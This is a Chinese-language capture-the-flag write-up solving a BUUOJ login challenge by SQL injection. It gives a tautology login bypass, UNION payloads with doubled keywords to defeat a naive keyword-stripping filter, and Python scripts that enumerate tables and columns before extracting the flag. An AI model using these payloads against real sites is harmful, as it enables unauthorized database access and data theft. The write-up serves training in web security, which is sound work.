在做题页面输入账号为admin,密码随便输入一个,提示密码错误。此外username和password竟然用get方法传输,我很意外,不过倒是方便了测试。
接着更换密码为'or''=',结果为:
登录成功,但是并没有什么用,没有flag,只能说明这里可以注入,单引号和or没有过滤。
接下来进行sql注入的标准步骤,爆查询结果的列数。
password = 'or''='' union select 1%23
报错很有意思,如果列数不对的话,按理说报错应该报The used SELECT statements have a different number of columns错误,但是报错明显有问题,union和select可能被过滤掉了。
考虑到语句是被处理之后被执行,而且不是警告你在进行SQL注入,这里可能就是单纯把一些关键词replace成了空字符串,可以用双写来绕过。
构造payload测试:
password='or''='' ununionion seleselectct 1%23
看来不止一列,经测试是三列。
接下来爆库名:
password='or''='' uniunionon selselectect group_concat(schema_name),group_concat(schema_name),group_concat(schema_name) frfromom infoorrmation_schema.schemata limit 1 offset 1%23
发现有一个叫ctf的库。(图有点乱,不放了)
接下来爆表名:
password='or''='' ununionion seleselectct table_name,1,1 frfromom information_schema.tables limit 1 offset 1%23
然后我被教育了:
我之前的or并没有被过滤,这咋没了or。也就是说我之前其实也被过滤了,我把两个单引号当成了密码,查询结果其实只是后面起的作用。这样的话我就不能offset 1了,得从0开始。
新的payload
password=admin' ununionion seleselectct table_name,table_name,1 frfromom infoorrmation_schema.tables limit 1 offset 0%23
以上一次只能获取一个名,因此我直接写了个脚本,每次修改offset的值。其实有办法更简单,就是拼接字符串,我前面用到了group_concat(),可以一次性获得所有表名,我这里纯粹就是脑子抽抽了想换种方法。(可能我脑子有病觉得那样挑战太简单了??)
import requests
from bs4 import BeautifulSoup
url='http://b04d9b72-9e9a-4e89-82f5-743ab2a72ce3.node3.buuoj.cn/check.php?username=admin&password=admin%27%20ununionion%20seleselectct%20table_name,table_name,1%20frfromom%20infoorrmation_schema.tables%20limit%201%20offset%20{}%23'
#如果表名在200以内,后面会抛异常自动结束
for i in range(0,200):
r = requests.get(url.format(i))
soup = BeautifulSoup(r.text,'html.parser')
tmp = soup('p')[1].text.replace('Hello ','')
print(tmp.replace('!',''))
发现了Flag表。
继续之前的脚本,修改部分进行爆列名:
password=admin' ununionion seleselectct column_name,column_name,column_name frfromom infoorrmation_schema.columns whwhereere table_name='Flag' limit 1 offset 0%23
import requests
from bs4 import BeautifulSoup
url='http://b04d9b72-9e9a-4e89-82f5-743ab2a72ce3.node3.buuoj.cn/check.php?username=admin&password=admin%27%20ununionion%20seleselectct%20column_name,column_name,column_name%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_name=%27Flag%27%20limit%201%20offset%20{}%23'
for i in range(0,50):
r = requests.get(url.format(i))
soup = BeautifulSoup(r.text,'html.parser')
tmp = soup('p')[1].text.replace('Hello ','')
print(tmp.replace('!',''))
发现只有一个flag列。
一切就绪,最终的payload。
admin' ununionion seleselectct flag,flag,flag frfromom ctf.Flag limit 1 offset 0%23
这个题主要考察了SQL注入中利用双写关键字绕过str.replace()这一特性。其他部分就比较常规了,爆库,爆表,爆列然后查询即可。